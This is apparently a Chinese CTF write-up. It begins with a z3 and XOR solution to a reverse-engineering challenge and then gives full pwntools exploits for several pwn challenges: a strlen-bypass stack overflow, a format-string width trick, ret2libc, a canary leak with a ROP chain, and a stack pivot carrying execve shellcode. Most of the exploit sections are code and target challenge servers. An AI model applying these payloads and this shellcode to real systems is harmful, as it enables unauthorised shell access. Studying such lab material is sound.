s.add(v16==-18*v29+35*v32+(-59)*v38+(-98)*v59+(-95)*v58+(-50)*v41+( v42*64)+95*v45+59*v50+54*v33+89*v55+(-87)*v31+(-19)*v47-97*v40+62*v54+6*v48-68*v44+10*v28-v30-v56+17*v46-76*v34-24*v51-76*v39+33*v62-53*v36+9*v60-45*v37-60*v57-74*v63+31*v35+50*v52+25*v49-83*v61+25*v53+52*v43)
s.add(v16 == -9636)
s.add(v17==99*v47+70*v60+98*v61+(-53)*v48+(-54)*v58+30*v56+(-42)*v63+(-34)*v43+77*v49+(-68)*v33+(-50)*v31+44*v30+88*v29+(-39)*v34+(-79)*v45+(-29)*v41+52*v57+(-55)*v39+40*v38+(-45)*v54+(-54)*v35+(-73)*v42+84*v62-27*v53-97*v46+73*v55+32*v52-80*v28-2*v50-44*v59-62*v36-51*v32+12*v44-55*v37+40*v40+76*v51)
s.add(v17 == 9324)
s.add(v18==-39*v40+9*v35+(-28)*v36+(-17)*v45+(-83)*v61+16*v44+74*v58+20*v39+70*v33+69*v31+(-82)*v54+(-78)*v59+(-31)*v56+(-76)*v47+70*v41+86*v48+77*v42+48*v43+95*v34-60*v32+30*v55+3*v57-29*v60+5*v52+55*v28+36*v51-90*v50+37*v63+78*v62-( v29*64)+16*v30-62*v38+46*v37+63*v49-( v46*64)-27*v53)
s.add(v18 == 1836)
s.add(v19==-20*v54+(-60)*v38+(-79)*v60+(-29)*v55+(-97)*v62+85*v44+(-55)*v31+(-7)*v47+(-71)*v30+97*v49+89*v43+58*v41+39*v51+(-82)*v45+(-46)*v37+(-63)*v40+( v36*64)+(-39)*v58+(-47)*v33+(-89)*v39+(-57)*v52+92*v34+7*v28-81*v29+33*v57+89*v35-14*v48+97*v61+10*v63-46*v42+81*v32+50*v56+81*v50-44*v59+18*v46+91*v53)
s.add(v19 == -20826)
s.add(v20==69*v49+( v47*64)+(-22)*v43+67*v57+(-41)*v38+(-47)*v32+(-63)*v41+98*v36+82*v56+91*v61+88*v60+(-48)*v34+(-5)*v29+92*v59+88*v58+(-45)*v52+(-70)*v39+(-93)*v63+(-89)*v53+52*v46+49*v45+44*v54-16*v50-8*v37-v44-4*v55-79*v40-18*v30+23*v48-20*v42+91*v33-6*v35+84*v31-6*v62-4*v51-80*v28)
s.add(v20 == 13298)
s.add(v21==-29*v38+(-29)*v28+(-35)*v36+(-94)*v40+(-69)*v50+99*v48+(-46)*v60+(-28)*v63+(-57)*v43+72*v30+(-73)*v45+34*v42+84*v58+(-39)*v53+(-51)*v32+27*v44+(-92)*v59+61*v35+89*v39+99*v49-48*v52-92*v46-14*v41-v47+2*v37+3*v57-61*v61-6*v54-8*v55-72*v34-2*v51-23*v62+41*v31+42*v56)
s.add(v21 == -12156)
s.add(v22==28*v41+44*v49+(-51)*v52+88*v42+(-49)*v50+(-29)*v48+22*v57+74*v40+58*v58+90*v47+(-84)*v46+(-37)*v37+(-98)*v43+(-21)*v54+49*v56+44*v29+75*v62+32*v61+43*v38+(-66)*v60+85*v36+62*v53+60*v32-40*v28+78*v44+96*v63-2*v35+43*v30-28*v34-77*v31-30*v45-95*v33+5*v51+85*v59+5*v55+47*v39)
s.add(v22 == 25730)
s.add(v23==-95*v31+(-68)*v30+91*v63+(-85)*v40+(-66)*v28+57*v43+(-89)*v48+4*v57+(-92)*v54+30*v29+68*v42+(-59)*v55+(-15)*v44+85*v38+(-91)*v33+(-25)*v52+83*v51+(-54)*v35+(-92)*v34+(-85)*v32+50*v59+46*v61+(-88)*v46-100*v53-91*v36+73*v60+44*v47+5*v62-32*v49-26*v58-56*v45-16*v41-76*v39-48*v37-88*v50+65*v56)
s.add(v23 == -28394)
s.add(v24==4*v45+8*v39+49*v63+(-45)*v35+16*v40+(-58)*v46+(-35)*v52+85*v58+(-55)*v53+84*v44+88*v37+5*v29+(-41)*v47+62*v30+(-19)*v49+(-23)*v51+(-71)*v41-49*v48+46*v43-2*v33+77*v34-6*v54+51*v61-96*v59+59*v42-62*v36-32*v62+69*v60-48*v56+54*v50-33*v32-21*v55+31*v28-98*v38-96*v57-71*v31)
s.add(v24 == 25355)
s.add(v25==-81*v47+(-88)*v39+(-78)*v60+99*v44+66*v52+84*v62+88*v40+(-42)*v32+(-66)*v55+(-66)*v34+26*v36+(-61)*v28+(-69)*v29+(-93)*v37+53*v56+(-100)*v33+28*v43+(-46)*v49+(-50)*v30+74*v48+89*v61-30*v59-45*v50+13*v42-29*v31+33*v38+54*v51+18*v58-21*v63+25*v46-39*v57+15*v41+83*v54-28*v35+2*v53)
s.add(v25 == 4514)
s.add(v26==-11*v38+62*v42+(-7)*v55+97*v33+( v56*64)+(-5)*v44+46*v28+88*v58+59*v36+(-50)*v34+v54+(-7)*v40+(-38)*v37+44*v57+40*v48+14*v61-97*v50-43*v39+31*v41-68*v31-36*v29-34*v43+10*v32+84*v46+13*v35+14*v53+10*v59+60*v52+27*v62-31*v60-48*v47-55*v63-96*v30-83*v51)
s.add(v26 == -4195)
s.add(v27==-72*v44+4*v59+58*v62+(-10)*v63+26*v33+90*v60+45*v45+16*v40+(-32)*v48+39*v57+(-54)*v53+57*v52+2*v35+(-57)*v36-99*v32-91*v29-30*v39-59*v56+7*v30-88*v31+36*v43-73*v34-6*v55+99*v41-96*v28-45*v54-40*v37+97*v38+6*v50+55*v49+27*v47+79*v51-28*v46-90*v58-6*v61+58*v42)
s.add(v27 == 6529)

print(s.check())
print(s.model())

解得v28到v63的值,与or4nge异或得到flag,这步exp如下:

#include 
#include 
char str[36]="or4nge";
int v[100];
char flag[48];
int main(int argc, const char * argv[]) {
    v[52] = 46; v[43] = 6; v[63] = 24; v[38] = 56; v[47] = 23; v[62] = 70;
    v[45] = 58; v[41] = 45; v[29] = 30; v[42] = 64; v[48] = 1; v[30] = 85;
    v[51] = 40; v[32] = 28; v[53] = 38; v[58] = 94; v[39] = 12; v[49] = 26;
    v[44] = 84; v[57] = 10; v[34] = 10; v[56] = 20; v[59] = 4; v[60] = 113;
    v[33] = 31; v[46] = 13; v[40] = 75; v[36] = 4; v[31] = 9; v[50] = 56;
    v[37] = 93; v[61] = 60; v[35] = 32; v[28] = 9; v[55] = 49; v[54] = 92;
    for(int i=0;i<36;i++)
        flag[i]=v[i+28]^str[i%strlen(str)];
    printf("%s",flag);
    return 0;
}

求得flag为:

flag{zeR03_i$_th3_be5t_MATh_so1vER!}

Pwn

calculate genius

放入IDA发现是连续做19个四则运算,本来想慢慢做但是做到一半好像会计时退出,摸清楚格式,写个脚本做。

完整的exp如下:

from pwn import *
context.log_level = 'debug'
#p = process('./math')
p = remote('10.212.25.14', 19145)

def get_num(str):
    sum = 0
    for i in range(len(str)):
        if str[i] == '\n':
            break
        sum = sum * 10 + int(str[i])
    return sum

for i in range(20):
    p.recvuntil(':')
    a = get_num(p.recvline())
    p.recvuntil(':')
    b = get_num(p.recvline())
    p.recvuntil('a ')
    c = p.recv(1)
    if c == '+':
        payload = a + b
    elif c == '-':
        payload = a - b
    elif c == '*':
        payload = a * b
    else:
        payload = a / b 
    p.recvuntil(':')
    p.sendline(str(payload))
    
p.interactive()

7的意志

只开了NX保护。

放入IDA查看逻辑,直接有个后门函数,记录下地址0x80486ca。

打开main,首先要绕过strlen检测,用\x00阶段即可,然后覆盖v5=77,十六进制是0x4d,然后进入crazyread,这里的payload如下:

payload = 'a\x00' + 'a'*14 + p32(0x4d)

输入了一大坨但不足以溢出,继续进入salute看看,

用的strcpy,dest离ebp只有0x14的距离,存在栈溢出漏洞,但是要先想办法进入这个if里面,看它的判断条件和刚才一样,是否能用\x00绕过呢?

不行!因为用\x00会在strcpy时截断,导致漏洞无法利用,看看函数的汇编代码,call完strlen的返回值应该在eax中,但是0x0804867f处的代码只将al放入某个地址与7比较,al指的是eax的低八位,然而strlen一般返回的是一个unsigned int,所以如果是0xff*n+7,al都会是7,那我们写入255+7字节的payload,也能通过该cmp,思路就来了,首先用0x14+4字节的填充造成溢出,覆盖返回值为backdoor的地址,再填充到255+7字节就行了,这里的payload如下:

payload = (0x14 + 4)*'a' + p32(binsh) + (255+7-0x14-4-4)*'a'

最后成功进入backdoor,完整的exp如下:

from pwn import *
#p = process('./seven')
p = remote('10.212.27.23', 17328)
context.log_level = 'debug'

binsh = 0x080486ca
payload = 'a\x00' + 'a'*14 + p32(0x4d)
payload2 = (0x14 + 4)*'a' + p32(binsh) + (255+7-0x14-4-4)*'a'

p.recvuntil('strlen?')
p.sendline(payload)
p.recvuntil('love')
p.sendline(payload2)

p.interactive()

fmt

保护全开,放入IDA中,利用左边的函数窗口还原出main中的函数名,是一个格式化字符串漏洞,逻辑是将两个2字节随机数读到&v10和&v10+8的地址处,可以看到他们就在格式化字符串上面0x20字节和0x18字节处,格式化字符串是第12个参数,我们似乎拥有了任意地址写的能力,似乎可以修改两个随机数的值使之等于我们的输入,但是PIE的开启使我们无法得到&v10,所以我们无法修改*&v10和*(&v10+8):

再看程序,我们输入数的地址被放到了栈上,在第十一个参数的位置,通过%11$n,我们拥有修改v11的权利,也只有这个权利,如何修改v11使它等于两个位置上的值呢?

printf("%*d",arg1,arg2) 会将参数2当作宽度度,输出参数3的整数值,并以空格补齐。刚好,v10正好在栈上,在第8和第9个参数的地方,所以构造

payload = '%*8$d%*9$d%11$n'

它应该会解析第8个参数和第9个参数的值,依次输出这么多的空格和随机数,然后将宽度和输入到第11个参数的地址里。

完整的exp如下:

from pwn import *
context.log_level = 'debug'
#p = process('./ans')
p = remote('10.212.27.23',15329)

payload = '%*8$d%*9$d%11$n'
p.recvuntil('bro?')
p.sendline(payload)

payload = '666'
p.recvuntil('gift.')
p.sendline(payload)

p.interactive()

babybabybabyrop

只开了NX保护,存在栈溢出,找到偏移为22,题目提示我们是rop,但没有system,没有/bin/sh,所以考虑是一道ret2libc。

可以用puts,方便一点,IDA加载时提示plt丢失,我们手动找找它的plt,在0x080490c0:

那么思路来了,我们泄露利用puts函数的plt值泄露他的got值,栈溢出到main函数中再次栈溢出调用system(’/bin/sh’)。

泄露其puts函数got值的payload如下:

payload = 'a'*22 + p32(0x080490C0) + p32(main_plt) + p32(puts_got)

这里得到其got值是0xf7651460:

去 这个网站 上利用其地址搜索 libc,得到 puts,system 和 str_bin_sh 相对基地址的偏移。

用puts的got值减去它的偏移得到基址,再利用偏移得到system和str_bin_sh的got值,构造第二次溢出:

lib_base = puts_got - puts_offset
sys_addr = lib_base + sys_offset
binsh_addr = lib_base + binsh_offset
payload = 'a'*22 + p32(sys_addr) + p32(0) + p32(binsh_addr)

发送payload,成功得到shell:

完整的exp如下:

from pwn import *
context.log_level = 'debug'
#p = process('./write')
p = remote('10.212.27.23',19146)
elf = ELF('./write')

puts_got = elf.got['puts']
main_plt = elf.symbols['_start']

payload = 'a'*22 + p32(0x080490C0) + p32(main_plt) + p32(puts_got)
p.recvuntil('hello\n')
p.sendline(payload)
puts_got = u32(p.recv()[0:4])
print(hex(puts_got))

sys_offset = 0x03ce10
puts_offset = 0x067460
binsh_offset = 0x17b88f

lib_base = puts_got - puts_offset
sys_addr = lib_base + sys_offset
binsh_addr = lib_base + binsh_offset

payload = 'a'*22 + p32(sys_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

canary

可以看到打开了canary和nx保护,放入IDA中查看,发现存在栈溢出。所以我们必须想办法绕过canary,这样就是一道简单的ret2libc了,可以看到代码中有

puts(&buf);

我们可以利用它输出canary的值,canary的低地址一定是 ‘\x00’,用来截断栈上的字符串,所以在第一次read的时候,我们可以输入0x29的字节刚好覆盖掉 ’\x00‘,puts检测buf字符串仍以\x00截断,就可以把canary输出出来,再下一次read进行栈溢出时填上canary,实现绕过。

之后就是一个ret2libc,注意64位程序以寄存器传递参数,要用ROPgadget工具寻找rop链。

完整的exp如下:

from pwn import *
context.log_level = 'debug'
p = remote('10.212.25.14',12138)
#p = process('./pwn5')
elf = ELF('./pwn5')

#gdb.attach(p,'b main')
p.recvuntil('try!')
payload1=0x28*'a'
p.sendline(payload1)
p.recvuntil(payload1)
canary=u64(p.recv(8))-0xa
print(hex(canary))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_plt = elf.symbols['_start']

pop_rdi = 0x400803
pop_rsi = 0x400801
p.recvuntil('off\n')
payload2 = 40*'a' + p64(canary) + 8*'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_plt)
p.sendline(payload2)
puts_got=u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_got))

sys_offset = 0x04f550
puts_offset = 0x080aa0
binsh_offset = 0x1b3e1a

lib_base = puts_got - puts_offset
sys_addr = lib_base + sys_offset
binsh_addr = lib_base + binsh_offset

p.recvuntil('try!')
p.sendline("anything")

p.recvuntil('off\n')
payload2 = 40*'a' + p64(canary) + 8*'a' + p64(pop_rdi) + p64(binsh_addr) + p64(pop_rsi) + p64(binsh_addr) + p64(binsh_addr) + p64(sys_addr)
p.sendline(payload2)
print(hex(sys_addr))
print(hex(binsh_addr))

p.interactive()

maybe a little hard

什么保护都没开,还有rwx段,IDA进去看快速进入到vul中发现一个栈溢出,栈可以执行,但溢出空间太少,不能构造长链,看到它有三种思路:

  1. shellcode写到栈上rop过去执行,但是这个程序没有泄露栈上的地址,行不通
  2. ret2reg,调试发现返回时buf的地址写到了rsi寄存器,去找jmp *%rsi的gadget,找不到
  3. 考虑栈迁移到rwx段,这道题算是花式栈迁移

rwx段在bss段上,去IDA里看,某人还在这里开了一个很大的p数组,别有用心,想办法把栈迁移到bss段上执行。

常规的栈迁移,构造fake_rbp,和leave_ret链以构造一个完整的假栈帧,这里只有一次read的机会,所以不行,观察 rsi 的来历,是通过&(rbp+buf)得来,所以这里可以不构造一个完整的栈帧,因为我们并没有用到rsp寄存器。

第一次溢出,把rbp设置到bss段上,也就是fake_rbp,注意留出足够大的空间,因为这题 buf 数组有点大,同时为了不修改rbp,我们不用完整地调用这个函数,直接跳转到0x400691,也就是

lea rax, [rbp + buf]

第一次溢出的payload如下:

payload1 = 'a'*0x100 + p64(bss_addr) + p64(0x400691)

此时栈转移到了bss段上,地址都是已知的,直接注入ret2shellcode就行了,第二次溢出的payload如下:

payload2 = shellcode + (0x108-len(shellcode))*'a' + p64(bss_addr-0x100)

shellcraft构造出来的shellcode不太对,手写了一段,完整的exp如下:

from pwn import *
context.log_level = 'debug'
#p = process('./pwn1')
p = remote('10.212.27.23', 14803)

bss_addr = 0x601250
shellcode ="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#gdb.attach(p,'b main')

p.recvuntil('ing.\n')
payload1 = 'a'*0x100 + p64(bss_addr) + p64(0x400691)
p.send(payload1)

payload2 = shellcode + (0x108-len(shellcode))*'a' + p64(bss_addr-0x100)
p.sendline(payload2)

p.interactive()

BlackHole

64bit的ret2dl_runtime_resolve,时间不够了,没出,有点遗憾

你可能感兴趣的:(信息安全)